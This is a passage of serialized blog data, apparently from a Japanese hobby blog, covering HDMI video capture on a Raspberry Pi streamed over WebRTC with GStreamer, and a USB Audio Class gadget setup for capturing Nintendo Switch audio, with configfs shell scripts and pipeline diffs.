Wikipedia](https://ja.wikipedia.org/wiki/WebRTC)\n\n新しめの[GstreamerではWebRTCが使えます](https://gstreamer.freedesktop.org/documentation/webrtc/index.html?gi-language=c)。Raspbian Busterの標準リポジトリからインストールできるGstreamerも使えます。\nこれを使ってローカルWeb配信をしてみます。\n\nドキュメントを元にコードを書いてもいいですが、それはまた別の機会で。今回はGitHubで公開されているGstreamer WebRTCのデモコードを用います。\n\n[gstwebrtc-demos/webrtc-unidirectional-h264.c at 1981ef164358caad5c0dc552d7d19c84a1608498 · centricular/gstwebrtc-demos](https://github.com/centricular/gstwebrtc-demos/blob/1981ef164358caad5c0dc552d7d19c84a1608498/sendonly/webrtc-unidirectional-h264.c)\n\nこのコードにはH.264エンコード処理が含まれますが、すでにv4l2からはH.264のデータを受け取れるようになっているので、それを取り除くよう少し改変します。\n\n```diff\ndiff --git a/sendonly/webrtc-unidirectional-h264.c b/sendonly/webrtc-unidirectional-h264.c\nindex e71ff39..94cf1f0 100644\n--- a/sendonly/webrtc-unidirectional-h264.c\n+++ b/sendonly/webrtc-unidirectional-h264.c\n@@ -187,7 +187,7 @@ create_receiver_entry (SoupWebsocketConnection * connection)\n\n error = NULL;\n receiver_entry->pipeline = gst_parse_launch (\"webrtcbin name=webrtcbin stun-server=stun://\" STUN_SERVER \" \"\n- \"v4l2src ! videorate ! video/x-raw,width=640,height=360,framerate=15/1 ! videoconvert ! queue max-size-buffers=1 ! x264enc bitrate=600 speed-preset=ultrafast tune=zerolatency key-int-max=15 ! video/x-h264,profile=constrained-baseline ! queue max-size-time=100000000 ! h264parse ! \"\n+ \"v4l2src ! video/x-h264,profile=constrained-baseline,width=1280,height=720,framerate=30/1,level=3.1 ! h264parse ! \"\n \"rtph264pay config-interval=-1 name=payloader ! \"\n \"application/x-rtp,media=video,encoding-name=H264,payload=\"\n RTP_PAYLOAD_TYPE \" ! webrtcbin. \", &error);\n```\n\nReadmeに従って依存パッケージをインストールし、`make`すればビルドできます。\nただし、成果物をそのまま起動すると以下のIssueに直面します。\n\n[dtlsdec: Critical warnings in gst-inspect (#811) · Issues · GStreamer / gst-plugins-bad · GitLab](https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad/issues/811)\n\nここのコメントに書かれたワークアラウンドにあるように、ちょっと起動にコツが必要となります。\n\n```\nOPENSSL_CONF= ./webrtc-unidirectional-h264\n```\n\nこれで http://raspberrypi.local:57778 にアクセスすると、HDMI入力の映像をWebブラウザで見ることができました。\n\n\n\nLAN内であれば遅延も1秒未満で、どうぶつの森であれば普通にプレイできるくらいです。\nひとつこの実装には問題があり、一度映像を送出するとv4l2srcが開放されず、H2C-RPI-B01へのアクセスが占有され続けてしまうため、2度目のアクセスからRaspbianを再起動するまで映像が取得できなくなります。\n\nこの問題に簡易的に対処するために、gst-rpicamsrcプラグインを用いる方法があります。それはまた今度、別の記事に書くので詳細は割愛します。\n\n[thaytan/gst-rpicamsrc: GStreamer element for the Raspberry Pi camera module](https://github.com/thaytan/gst-rpicamsrc)\n\n## まとめ\n\n意外と手軽にRaspberry PiでHDMI入力の映像を配信できました。お高いキャプチャーボードを買う必要もなく、柔軟な配信ができることもわかりました。\nしかし、まだ音がありません。今後の課題としましょう。\n\n---\n\n### 参考リンク\n\n- [linux/tc358743.c at master · torvalds/linux](https://github.com/torvalds/linux/blob/master/drivers/media/i2c/tc358743.c)\n- [linux/bcm2835-unicam.txt at e2d2941326922b63d722ebc46520c3a2287b675f · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/e2d2941326922b63d722ebc46520c3a2287b675f/Documentation/devicetree/bindings/media/bcm2835-unicam.txt)\n- [linux/Kconfig at 6018f7ebfe5e7fa01f499300b796f409a817241b · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/6018f7ebfe5e7fa01f499300b796f409a817241b/drivers/media/i2c/Kconfig#L379)\n- [linux/tc358743_regs.h at 2b1731f8713e6695c32d140440bc92aa7a3cfd31 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/2b1731f8713e6695c32d140440bc92aa7a3cfd31/drivers/media/i2c/tc358743_regs.h)\n- [linux/tc358743.c at 2b1731f8713e6695c32d140440bc92aa7a3cfd31 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/2b1731f8713e6695c32d140440bc92aa7a3cfd31/drivers/media/i2c/tc358743.c)\n- [yavta/yavta.c at 4d0e8adcd3acdbe05e1b0222dd19390015fafffa · 6by9/yavta](https://github.com/6by9/yavta/blob/4d0e8adcd3acdbe05e1b0222dd19390015fafffa/yavta.c)\n- [maditnerd/tc358743: My research on tc358743](https://github.com/maditnerd/tc358743)\n- [linux/tc358743-overlay.dts at raspberrypi-kernel_1.20200212-1 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/arch/arm/boot/dts/overlays/tc358743-overlay.dts)\n- [linux/v4l2-device.rst at e2d2941326922b63d722ebc46520c3a2287b675f · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/e2d2941326922b63d722ebc46520c3a2287b675f/Documentation/media/kapi/v4l2-device.rst)\n- [linux/tc358743.txt at raspberrypi-kernel_1.20200212-1 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/Documentation/devicetree/bindings/media/i2c/tc358743.txt)\n- [B10x_technical_reference_1.4.pdf](https://auvidea.eu/download/manual/B10x_technical_reference_1.4.pdf)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 26 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&start=625)\n- [linux/tc358743-audio-overlay.dts at raspberrypi-kernel_1.20200212-1 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/arch/arm/boot/dts/overlays/tc358743-audio-overlay.dts)\n- [linux/spdif_receiver.c at raspberrypi-kernel_1.20200212-1 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/sound/soc/codecs/spdif_receiver.c)\n- [linux/soc-core.c at master · torvalds/linux](https://github.com/torvalds/linux/blob/master/sound/soc/soc-core.c)\n- [linux/brcm,bcm2835-i2s.txt at master · torvalds/linux](https://github.com/torvalds/linux/blob/master/Documentation/devicetree/bindings/sound/brcm%2Cbcm2835-i2s.txt)\n- [HDMI to CSI-2 TC358743 I2S Audio - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=258742)\n- [B101 hdmi input with i2s sound - Page 3 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=44&t=210683&sid=9ad3813731826572cc95d70cb513b623&start=50)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 25 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=120702&start=600)\n- [Camera Modules - Raspberry Pi Documentation](https://www.raspberrypi.org/documentation/usage/camera/)\n- [linux/tc358743.c at raspberrypi-kernel_1.20200212-1 · raspberrypi/linux](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/drivers/media/i2c/tc358743.c#L2240-L2244)\n- [TC358743XBG \\| HDMI® インターフェースブリッジ \\| 東芝デバイス&ストレージ株式会社 \\| 日本](https://toshiba.semicon-storage.com/jp/semiconductor/product/interface-bridge-ics-for-mobile-peripheral-devices/hdmir-interface-bridge-ics/detail.TC358743XBG.html)\n- [Auvidea B101 audio issues - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=260455)\n- [B101 hdmi input with i2s sound - Page 3 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=44&t=210683&sid=dc12402396d51f7a195552401d7d7c65&start=50)\n- [HDMI to CSI-2 TC358743 I2S Audio - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=258742#p1579273)\n- [RPI and HDMI to CSI-2 Audio Video Capture or Stream? - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=264913)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 15 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=120702&start=350)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 17 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&start=400#p1339178)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 27 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&start=650)\n- [B101 Auvidea record audio + video + stream - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=269697&p=1636143&hilit=Internal+data+stream+error.&sid=6f4899adf23492d3a904f62e114338bb#p1636143)\n- [Official V4L2 camera driver - Page 17 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=62364&start=400)\n- [HDMI to CSI-2 TC358743 I2S Audio - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=258742)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 4 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=120702&start=75#p962744)\n- [Raw sensor access / CSI-2 receiver peripheral - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=43&t=109137)\n- [Auvidea B101 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=216903)\n- [Error when trying to use Auvidea B101 with Pi 3 - Please help - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=44&t=212122)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 18 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&sid=e7bb8d9edc827fc8aa7385e5267de7f0&start=425)\n- [Error when trying to use Auvidea B101 with Pi 3 - Please help - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=212122)\n- [Using TC358743 on the Auvidea B101 with RPi 3b - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=218138)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 26 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&sid=64bf64e35da4ef5e995b9d13e63bfc75&start=625)\n- [CSI-2 / Toshiba TC358743XBG - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=101999)\n- [Problems with TC358743 and UV4L - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?t=257936)\n- [HDMI to CSI-2 via TC358743 on kernel 4.1 - Page 17 - Raspberry Pi Forums](https://www.raspberrypi.org/forums/viewtopic.php?f=38&t=120702&p=1339178#p1339178)\n- [VLC GStreamer \\| Introduction to Network Streaming Using GStreamer](https://developer.ridgerun.com/wiki/index.php/Introduction_to_network_streaming_using_GStreamer#Generating_a_SDP_file_from_a_streaming_pipeline)\n- [RasPiカメラ V2.1のCSI信号の詳細: なひたふJTAG日記](http://nahitafu.cocolog-nifty.com/nahitafu/2017/04/csi-26a4.html)\n- [Raspberry Pi Camera Pinout - Arducam](https://www.arducam.com/raspberry-pi-camera-pinout/)\n"]}],[0,{"slug":[0,"2020/04/17/nintendo-switch-audio-uac-gadget/"],"data":[0,{"title":[0,"UAC GadgetでNintendo Switchの音声出力をRaspberry Piに取り込む"],"date":[3,"2020-04-17T12:30:00.000Z"],"image":[0,"/assets/images/2020/04/17/usb-audio-detected.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"hdmi"],[0,"uac"],[0,"usb"],[0,"usb-gadget"],[0,"nintendo"],[0,"switch"],[0,"raspberry-pi"],[0,"sbc"],[0,"webrtc"],[0,"gstreamer"]]]}],"content":[0,"\n[前回の記事](../2020/2020-04-10-raspberrypi-hdmi-input.md)でHDMI映像入力をRaspberry Piで扱う方法を紹介し、その最後に音声の取り込みについて、まだ課題が残っていると書きました。\nHDMI入力からの音声取り込みといった、本質的な課題の解決を試みているものの、なかなかに難しい問題に直面しているので、対象を限定して部分的解決に挑みます。\n\n主に今HDMI入力の対象として使おうと思っているデバイスは、Nintendo Switchです。\nなので、Nintendo Switchの音声出力に限定して、それをRaspberry Piで取り込むことだけを目的とし、音声が取り込めていない問題を解決していきます。\n\n## 目次\n\n\n## Nintendo Switchの音声出力\n\nNintendo Switchには、4つの音声出力方法があります。これらのいずれかから音声を取り込む必要があります。\n\n\n### スピーカー\n\n\n\n引用元: [Nintendo Switch|任天堂](https://www.nintendo.co.jp/hardware/switch/feature/index.html#1)\n\n\n主に[テーブルモード](https://www.nintendo.co.jp/support/switch/playmode/index.html#heading-table-mode)や、[携帯モード](https://www.nintendo.co.jp/support/switch/playmode/index.html#heading-handheld-mode)でプレイする時に音声が出力されます。本体前面に搭載されたステレオスピーカーから音声が出力されますが、これを取り込むにはマイクを用いる必要があり、\n遅延の発生とノイズが乗るので現実的ではありません。\n\n\n\n### 3.5mmイヤホンジャック\n\nスピーカーからではなく、本体上部のヘッドホンマイク端子から音声を出力することもできます。スピーカー出力の音声をマイクを使って取り込むよりも、イヤホンジャックの出力を取り込んだ方がノイズは少ないですが、アナログ・デジタル変換が必要なので、やや手間がかかります。\n\n### HDMI\n\n[TVモード](https://www.nintendo.co.jp/support/switch/playmode/index.html#heading-tv-mode)で映像を出力しているとき、スピーカーの代わりにHDMIケーブルを通して音声がテレビから出力されます。信号がデジタルなのと、[サラウンドに対応している](https://support.nintendo.co.jp/app/answers/detail/a_id/33815)ため高音質ですが、機器に取り込む方法が限定されるため、障壁が高いです。\n\n### USB\n\n\n\n\n引用元: [Nintendo Switch|任天堂](https://www.nintendo.co.jp/hardware/switch/feature/index.html#2)\n\n本体底面のUSB Type-C端子や、[Nintendo SwitchドックのUSB端子](https://www.nintendo.co.jp/hardware/switch/feature/index.html#2)に接続しているUSBサウンドデバイスから、音声を出力する方法です。[Sound Blaster G3](https://www.amazon.co.jp/Blaster-Mac%E3%81%AE%E3%83%98%E3%83%83%E3%83%89%E3%82%BB%E3%83%83%E3%83%88%E3%82%92%E9%AB%98%E9%9F%B3%E8%B3%AA%E3%81%AB-%E3%82%B9%E3%83%9E%E3%83%9B%E3%82%A2%E3%83%97%E3%83%AA%E3%81%A7%E5%88%B6%E5%BE%A1%E5%8F%AF%E8%83%BD-PS4%E3%81%AE%E3%82%B2%E3%83%BC%E3%83%A0%E9%9F%B3%E3%81%A8%E5%91%B3%E6%96%B9%E3%81%AE%E5%A3%B0%E3%81%AE%E9%9F%B3%E9%87%8F%E3%81%8C%E5%A4%89%E3%81%88%E3%82%89%E3%82%8C%E3%82%8B-SB-G-3/dp/B0824MBF2B/ref=as_li_ss_tl?ref_=nav_custrec_signin&&linkCode=ll1&tag=mzyy-22&linkId=46656c72215eb7e857c9d1327172c2eb&language=ja_JP)などの製品を接続して、イヤホンジャックからの出力より高品位な音声を楽しむことができるそうです。\n通信はUAC(後述)というプロトコルを通して、音声出力をデジタル信号でやり取りしています。UACで取り込みたい機器と通信ができれば、最もこれが手軽かつノイズの少ない出力が得られます。\n\n<a href=\"https://www.amazon.co.jp/Blaster-Mac%E3%81%AE%E3%83%98%E3%83%83%E3%83%89%E3%82%BB%E3%83%83%E3%83%88%E3%82%92%E9%AB%98%E9%9F%B3%E8%B3%AA%E3%81%AB-%E3%82%B9%E3%83%9E%E3%83%9B%E3%82%A2%E3%83%97%E3%83%AA%E3%81%A7%E5%88%B6%E5%BE%A1%E5%8F%AF%E8%83%BD-PS4%E3%81%AE%E3%82%B2%E3%83%BC%E3%83%A0%E9%9F%B3%E3%81%A8%E5%91%B3%E6%96%B9%E3%81%AE%E5%A3%B0%E3%81%AE%E9%9F%B3%E9%87%8F%E3%81%8C%E5%A4%89%E3%81%88%E3%82%89%E3%82%8C%E3%82%8B-SB-G-3/dp/B0824MBF2B/ref=as_li_ss_il?ref_=nav_custrec_signin&&linkCode=li3&tag=mzyy-22&linkId=afede16d818b291906f91ff37d9ea8a4&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B0824MBF2B&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n\n## UAC (USB Audio Device Class)\n\n[USB Audio Devices Rev. 3.0 and Adopters Agreement \\| USB-IF](https://www.usb.org/document-library/usb-audio-devices-rev-30-and-adopters-agreement)\n\nUSB接続のサウンドカードや、USB Type-C接続のイヤホンなどが採用しているUSB経由で音声を転送するプロトコルです。\nマイクなどの入力装置と、スピーカーなどの出力装置とのどちらとも、このプロトコルで転送できます。\nUSB Audio Device Classには大きく分けて、Class 1(UAC1)、Class 2(UAC2)、Class 3(UAC3)の3つの実装レベルの異なったクラスが定義されています。\nWindowsやmacOS、LinuxやAndroid含め、ほとんどのOSに標準でUAC1とUAC2のドライバが導入されています。\n\n## USB Gadget API\n\n聞き覚えがありますね。[スマホでNintendo Switchを操作する手法を紹介したの記事](../2020/2020-03-20-nintendo-switch-pro-controller-usb-gadget.md#usb-gadget-api)で登場しています。\n聞いたことない人はそちらをチラッとみていただくとして、そこに挙げたドキュメント記載の例に**sound subsystem (for audio gadgets)**があり、USB Audio Device Classのシミュレートもできるのです。\nこれでRaspberry PiをUACデバイスとして振舞うようにできれば、Nintendo SwitchのUSBサウンド出力を取り込めるかもしれません。\n\n## UACデバイスシミュレート\n\n物は試しということで、早速Nintendo SwitchとRaspberry Piを接続してconfigfsでUAC1デバイスを作ってみます。\n手法を紹介したの記事と同様、/boot/config.txtと/etc/modulesに追記を済ませておく必要があります。\n接続はシンプルに、それぞれのUSB Type-CポートにUSB 2.0 Type-Cケーブルを接続するだけです。\n\n<script src=\"https://gist.github.com/mzyy94/02bcd9d843c77896803c4cd0c4d9b640.js?file=uac1_gadget.sh\"></script>\n\n<!--\n\n```sh\n#!/bin/bash\ncd /sys/kernel/config/usb_gadget/\nmkdir -p audio\ncd audio\n\necho 0x0104 > idProduct # Multifunction Composite Gadget\necho 0x1d6b > idVendor # Linux Foundation\n\nmkdir strings/0x409\necho \"000000000\" > strings/0x409/serialnumber\necho \"Linux Foundation\" > strings/0x409/manufacturer\necho \"Multifunction Composite Gadget\" > strings/0x409/product\n\nmkdir -p configs/c.1/strings/0x409\necho \"Audio Gadget\" > configs/c.1/strings/0x409/configuration\necho 120 > configs/c.1/MaxPower\n\nmkdir -p functions/uac1.0\nln -s functions/uac1.0 configs/c.1/\n\nls /sys/class/udc > UDC\n```\n\n-->\n\nroot権限でこれを実行すると、Nintendo SwitchがRaspberry Pi 4をUSBサウンドデバイスとして認識しました。\n\n\n\n\n**uac1.0**の部分を**uac2.0**に書き換えることで、[UAC2 Gadget](https://github.com/raspberrypi/linux/blob/raspberrypi-kernel_1.20200212-1/drivers/usb/gadget/function/f_uac2.c)もシミュレートできますが、試したところNintendo SwitchのUSBサウンドデバイスは、USB GadgetにおいてはUAC1の出力装置のみを認識していました。\nまた、`sudo modprobe g_audio`でもUAC Gadgetは作成できますが、こちらもUAC2なので認識しませんでした。\n\n\n### Pro Controller + UAC\n\nNintendo SwitchはPro Controllerのシミュレートに関しては、製品ID(idProduct)と製造元ID(idVendor)を純正のものと同一にする必要がありました。\nしかしUSBサウンドデバイスに関しては、なんでもいいみたいです。純正品やライセンス商品が販売されていないからでしょうか。\n\nそして、なんと、Pro Controllerを模したUSB GadgetにUACの機能を追加しても、認識しちゃうのです!\n\n<script src=\"https://gist.github.com/mzyy94/02bcd9d843c77896803c4cd0c4d9b640.js?file=procon_audio.sh\"></script>\n\n<!--\n```sh\n#!/bin/bash\ncd /sys/kernel/config/usb_gadget/\nmkdir -p procon\ncd procon\necho 0x057e > idVendor\necho 0x2009 > idProduct\necho 0x0200 > bcdDevice\necho 0x0200 > bcdUSB\necho 0x00 > bDeviceClass\necho 0x00 > bDeviceSubClass\necho 0x00 > bDeviceProtocol\n\nmkdir -p strings/0x409\necho \"000000000001\" > strings/0x409/serialnumber\necho \"Nintendo Co., Ltd.\" > strings/0x409/manufacturer\necho \"Pro Controller\" > strings/0x409/product\n\nmkdir -p configs/c.1/strings/0x409\necho \"\" > configs/c.1/strings/0x409/configuration\necho 500 > configs/c.1/MaxPower\necho 0xa0 > configs/c.1/bmAttributes\n\nmkdir -p functions/hid.usb0\necho 0 > functions/hid.usb0/protocol\necho 0 > functions/hid.usb0/subclass\necho 64 > functions/hid.usb0/report_length\necho BQEVAAkEoQGFMAUBBQkZASkKFQAlAXUBlQpVAGUAgQIFCRkLKQ4VACUBdQGVBIECdQGVAoEDCwEAAQChAAswAAEACzEAAQALMgABAAs1AAEAFQAn//8AAHUQlQSBAsALOQABABUAJQc1AEY7AWUUdQSVAYECBQkZDykSFQAlAXUBlQSBAnUIlTSBAwYA/4UhCQF1CJU/gQOFgQkCdQiVP4EDhQEJA3UIlT+Rg4UQCQR1CJU/kYOFgAkFdQiVP5GDhYIJBnUIlT+Rg8A= | base64 -d > functions/hid.usb0/report_desc\n\nmkdir -p functions/uac1.0\n\nln -s functions/hid.usb0 configs/c.1/\nln -s functions/uac1.0 configs/c.1/\n\nudevadm settle -t 5 || :\nls /sys/class/udc > UDC\n```\n-->\n\n\n\nこの状態で、[1.3inch LCD HATでの入力](../2020/2020-03-20-nintendo-switch-pro-controller-usb-gadget.md#13inch-lcd-hat%E3%81%A7%E3%81%AE%E5%85%A5%E5%8A%9B)を試してみると、ちゃんとUSBサウンドデバイスとPro Controllerとして認識されています。\n\n\n\n\n## 音声取り込み\n\nUAC1 Gadgetとして振る舞っている間、[ALSA](https://ja.wikipedia.org/wiki/Advanced_Linux_Sound_Architecture)には**UAC1Gadget**という名前のサウンドカードとして認識されます。\n\n```\npi@raspberrypi:~ $ lsmod | grep uac\nusb_f_uac1 16384 2\nu_audio 20480 1 usb_f_uac1\nlibcomposite 57344 11 u_audio,usb_f_uac1\nudc_core 53248 4 dwc2,u_audio,libcomposite,usb_f_uac1\npi@raspberrypi:~ $ cat /proc/asound/cards\n 0 [ALSA ]: bcm2835_alsa - bcm2835 ALSA\n bcm2835 ALSA\n 1 [UAC1Gadget ]: UAC1_Gadget - UAC1_Gadget\n UAC1_Gadget 0\npi@raspberrypi:~ $ arecord -l\n**** List of CAPTURE Hardware Devices ****\ncard 1: UAC1Gadget [UAC1_Gadget], device 0: UAC1_PCM [UAC1_PCM]\n Subdevices: 1/1\n Subdevice #0: subdevice #0\n```\n\n\n以下のコマンドでUAC1ガジェットから、ステレオ2チャンネル、サンプリング周波数48000Hz、量子化ビット数 符号付き16ビット、VUメーターステレオ表示しつつ、/tmp/rec.wavに音声ファイルを保存できます。\n\n```\narecord -v -D hw:UAC1Gadget -c2 -r 48000 -f S16_LE -t wav -V stereo /tmp/rec.wav\n```\n\nちゃんと動きました。\n\n\n\n\n## 映像と音声をWebRTC\n\n[前回の記事](../2020/2020-04-10-raspberrypi-hdmi-input.md#webrtc)でも扱った映像のWebRTC配信に、音声も乗っけてみます。\n\nHDMI出力はUSB Type-C端子からは取り出せないので、Nintendo Switchドックに接続する必要があります。\nそして、Raspberry Pi 4とNintendo Switchドックは裏面のUSB 3.0ポートに、以下のようなUSB Type-A to USB Type−C 3.0ケーブルを使って接続します。\n消費電力の関係で、USB 2.0ポートやUSB 2.0ケーブルを使うと電力不足でRaspberry Piが落ちます。\nまた、Nintendo SwitchをDockから抜き差しするとRaspberry Piへの給電が止まるので、間にセルフパワーのUSBハブを噛ませた方がいいです。\n以下は実際に使ってるUSBケーブルとUSBハブです。\n\n<a href=\"https://www.amazon.co.jp/Anker-PowerLine-3-0%E3%82%B1%E3%83%BC%E3%83%96%E3%83%AB-%E3%80%90Galaxy-%E3%80%81MacBook%E3%80%81Xperia/dp/B01MUCRKJS/ref=as_li_ss_il?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=30058AVVLJS1W&dchild=1=&linkCode=li3&tag=mzyy-22&linkId=36aeb22f917425f6c4debc4674a377f8&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B01MUCRKJS&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon.co.jp: Anker USB Type C ケーブル PowerLine USB-C & USB-A 3.0 ケーブル Xperia / Samsung Galaxy / LG / iPad Pro MacBook その他 Android Oculus Quest 等 USB-C機器対応 1.8m ブラック: 家電・カメラ](https://www.amazon.co.jp/Anker-PowerLine-3-0%E3%82%B1%E3%83%BC%E3%83%96%E3%83%AB-%E3%80%90Galaxy-%E3%80%81MacBook%E3%80%81Xperia/dp/B01MUCRKJS/ref=as_li_ss_tl?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=30058AVVLJS1W&dchild=1=&linkCode=ll1&tag=mzyy-22&linkId=2fae1ff8d7fe1be125c70bc4f0f3a34d&language=ja_JP)\n\n\n<a href=\"https://www.amazon.co.jp/gp/product/B013HY4SD0/ref=as_li_ss_il?ie=UTF8&psc=1&linkCode=li2&tag=mzyy-22&linkId=6af8d66b6da32e009f470909855fcb94&language=ja_JP\" target=\"_blank\"><img border=\"0\" src=\"//ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B013HY4SD0&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22&language=ja_JP\" ></a>\n\n[Amazon \\| オリコ ORICO 4ポート USB3.0ハブ アルミ製 セルフパワー 12V/2A電源 ブラック A3H4-BK \\| オリコ(ORICO) \\| USBハブ 通販](https://www.amazon.co.jp/gp/product/B013HY4SD0/ref=as_li_ss_tl?ie=UTF8&psc=1&linkCode=ll1&tag=mzyy-22&linkId=72a1e864f3394b5fdb570f9dec911741&language=ja_JP)\n\nソフトウェアは今回も動作確認できればいいので、デモコードを用います。\n\n前回はgstwebrtc-demosのコードを用いてV4L2デバイスをそのまま扱ったところ、再接続してから映像が取得できなくなるという問題を抱えていました。\nこれは[MMAL(Multi-Media Abstraction Layer API)](https://github.com/raspberrypi/userland/blob/5c1619589c22bc285832c533146cd4ce294a46f6/interface/mmal/mmal.h)の手続きを正しく実行することで解決できます。そして、それをやってくれるGstreamerのelement(プラグイン)が、前回少し登場したgst-rpicamsrcです。\n\n\n[thaytan/gst-rpicamsrc: GStreamer element for the Raspberry Pi camera module](https://github.com/thaytan/gst-rpicamsrc)\n\nこれをv4l2srcの代わりに用いることで、再接続しても映像の取得が正しく行えるようになります。\n加えて、このリポジトリのexamplesにWebRTCのデモがあるので、それをちょっと編集して音声を乗っけていきます。\n\n[gst-rpicamsrc/webrtc-unidirectional-h264.c at 79860a0b2a0f3beef6ccfab0cf7d531e55e3b06c · thaytan/gst-rpicamsrc](https://github.com/thaytan/gst-rpicamsrc/blob/79860a0b2a0f3beef6ccfab0cf7d531e55e3b06c/examples/webrtc-unidirectional-h264.c)\n\n\n```diff\ndiff --git a/examples/webrtc-unidirectional-h264.c b/examples/webrtc-unidirectional-h264.c\nindex b8a716d..b9674b3 100644\n--- a/examples/webrtc-unidirectional-h264.c\n+++ b/examples/webrtc-unidirectional-h264.c\n@@ -185,10 +185,12 @@ create_receiver_entry (SoupWebsocketConnection * connection)\n \n error = NULL;\n receiver_entry->pipeline = gst_parse_launch (\"webrtcbin name=webrtcbin stun-server=stun://\" STUN_SERVER \" \"\n- \"rpicamsrc bitrate=600000 annotation-mode=12 preview=false ! video/x-h264,profile=constrained-baseline,width=640,height=360,level=3.0 ! queue max-size-time=100000000 ! h264parse ! \"\n- \"rtph264pay config-interval=-1 name=payloader ! \"\n- \"application/x-rtp,media=video,encoding-name=H264,payload=\"\n- RTP_PAYLOAD_TYPE \" ! webrtcbin. \", &error);\n+ \"rpicamsrc preview=false ! video/x-h264,profile=constrained-baseline,width=1280,height=720,level=3.1 ! queue max-size-time=100000000 ! h264parse ! \"\n+ \"rtph264pay config-interval=-1 ! \"\n+ \"application/x-rtp,media=video,encoding-name=H264,payload=96 ! webrtcbin. \"\n+ \"alsasrc device=hw:UAC1Gadget ! audioconvert ! audioresample ! queue ! opusenc ! \"\n+ \"rtpopuspay ! queue ! \"\n+ \"application/x-rtp,media=audio,encoding-name=OPUS,payload=97 ! webrtcbin. \", &error);\n if (error != NULL) {\n g_error (\"Could not create WebRTC pipeline: %s\\n\", error->message);\n g_error_free (error);\n```\n\n上記パッチを当て、Readmeに従って`sudo make install`までできていると、**examples/**にWebRTCデモの実行ファイルができているはずです。\n\nビルド前の依存パッケージの導入と実行時の注意は、[前回の記事](../2020/2020-04-10-raspberrypi-hdmi-input.md#webrtc)を参考にしてください。\nまた、追加で`sudo apt install gstreamer1.0-alsa`をしてALSAのプラグインも導入しておく必要があります。\n\n`OPENSSL_CONF= ./examples/webrtc-unidirectional-h264`で実行し、Chromeでみてみると、音声もWebRTCで転送できていることが確認できます。\n\n<blockquote class=\"twitter-tweet\"><p lang=\"ja\" dir=\"ltr\">音でた <a href=\"https://t.co/gKTdyVQNAH\">pic.twitter.com/gKTdyVQNAH</a></p>&mdash; 咳9週間 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/1251113843599634432?ref_src=twsrc%5Etfw\">April 17, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n## まとめ\n\nとりあえずNintendo Switchの音声出力が取れました。\n\n[前々回](../2020/2020-03-20-nintendo-switch-pro-controller-usb-gadget.md)はNintendo Switch Pro 